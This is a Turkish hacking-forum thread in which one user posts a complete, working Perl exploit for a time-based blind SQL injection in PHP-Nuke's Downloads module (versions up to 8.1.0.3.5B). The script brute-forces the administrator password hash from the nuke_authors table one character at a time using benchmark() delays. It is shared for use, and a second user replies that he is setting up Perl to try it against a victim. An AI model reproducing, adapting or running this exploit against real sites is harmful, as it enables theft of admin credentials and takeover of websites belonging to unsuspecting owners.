PHP-Nuke <= 8.1.0.3.5B (Downloads) Remote Blind SQL Injection

Tahribat.com Forumları
line

Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
line

PHP-Nuke <= 8.1.0.3.5B (Downloads) Remote Blind SQL Injection

23/Kas/11 22:15

Kısayol

Şikayet

Özel Mesaj

Muhalif Yorumcu
SeRDaR

Banlanmış Üye

Kayıt Tarihi: 09/Kasım/2003

default downloads modülünün az ekmeğinin yememeiştim 2005 yılında hala aynı terene mevcut nukede sürüm üstüne sürümler çıkarttılar bir ara hafta bir sürüm çıkartmaya kadar gitiler ama hala açık hala açık bunların amacı açık kapatmak değil resmen duyuru ve reklam

exploiti paylaşayım

#!/usr/bin/perl
# [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection
# Date: 2010.07.04 after 50 days the bug was discovered.
# Author/s: Dante90, WaRWolFz Crew
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770,
#               Shades Master, V1R5, yeat
# Special Greetings To: The:Paradox
# Greetings To: Shotokan-The Hacker, _mRkZ_, h473
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# ----
# Why have I decided to publish this?
# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published
# my own exploit, with their names.
# FU**ING LAMERS / RIPPERS / SCRIPT KIDDIE
# ----
 
use strict;
use warnings;
 
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use Time::HiRes;
 
my $Victime  = shift or &usage;
my $Hash = "";
my ($Referer,$Time,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
            default_headers => HTTP::Headers->new,
        ) or die $!;
my $WaRWolFz = "http://www.warwolfz.org/";
my $DefaultTime = request($WaRWolFz);
my $Post;
 
sub Blind_SQL_Jnjection {
    my ($dec,$hex,$Victime) = @_;
    return "http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}";
}
 
for(my $I=1; $I<=32; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime);
        $Time = request($Post);
        sleep(3);
        refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
        if ($Time > 4) {
            $Time = request($Post);
            refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
            if ($Time > 4) {
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Post);
                refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
                last;
            }
        }
    }
    if($I == 1 && length $Hash < 1 && !$Hash){
        print " * Exploit Failed                                       *\n";
        print " -------------------------------------------------------- \n";
        exit;
    }
    if($I == 32){
        print " * Exploit Successfully Executed                        *\n";
        print " -------------------------------------------------------- \n";
        system("pause");
    }
}
 
sub request{
    $Post = $_[0];
    $Start = Time::HiRes::time();
    my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', {
                    title => "Dante90",
                    url => $Post,
                    description => "WaRWolFz Crew",
                    auth_name => "Dante90",
                    email => "dante90.dmc4\@hotmail.it",
                    filesize => "1024",
                    version => "1",
                    homepage => "http://www.warwolfz.org/",
                    d_op => "Add"
                },
                Referer => $HostName.'modules.php?name=Downloads&d_op=Add');
    $Response->is_success() or die "$HostName : ", $Response->message, "\n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
}
 
sub usage {
    system("cls");
    {
        print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n";
        print " -------------------------------------------------------- \n";
        print " * USAGE:                                               *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
        print " * perl name_exploit.pl [victime]                       *\n";
        print " -------------------------------------------------------- \n";
        print " *          Powered By Dante90, WaRWolFz Crew           *\n";
        print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *\n";
        print " ------------------------------------------------------- \n";
    };
    exit;
}
 
sub refresh {
    system("cls");
    {
        print " \n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit\n";
        print " -------------------------------------------------------- \n";
        print " * USAGE:                                               *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
        print " * perl name_exploit.pl [victime]                       *\n";
        print " -------------------------------------------------------- \n";
        print " *          Powered By Dante90, WaRWolFz Crew           *\n";
        print " *  www.warwolfz.org - dante90_founder[at]warwolfz.org  *\n";
        print " ------------------------------------------------------- \n";
    };
    print " * Victime Site: " . $_[0] . "\n";
    print " * Default Time: " . $_[1] . " seconds\n";
    print " * BruteForcing Hash: " . chr($_[2]) . "\n";
    print " * BruteForcing N Char Hash: " . $_[5] . "\n";
    print " * SQL Time: " . $_[4] . " seconds\n";
    print " * Hash: " . $_[3] . "\n";
}
 
#WaRWolFz Crew

Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve önlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dönemdir kısa vadeli ve göreceli yenilgilerden geçer.

Alıntı yap

23/Kas/11 23:00 Kısayol Şikayet Özel Mesaj

Realist

Kayıt Tarihi: 13/Nisan/2007

windows'a perl yüklüyorum bakalım deniycem saol eyw.

input'dan victime değişkeni istiyor bu kurbanın ID'siymiş

..

Alıntı yap

Toplam Hit: 1351 Toplam Mesaj: 2

Cevapla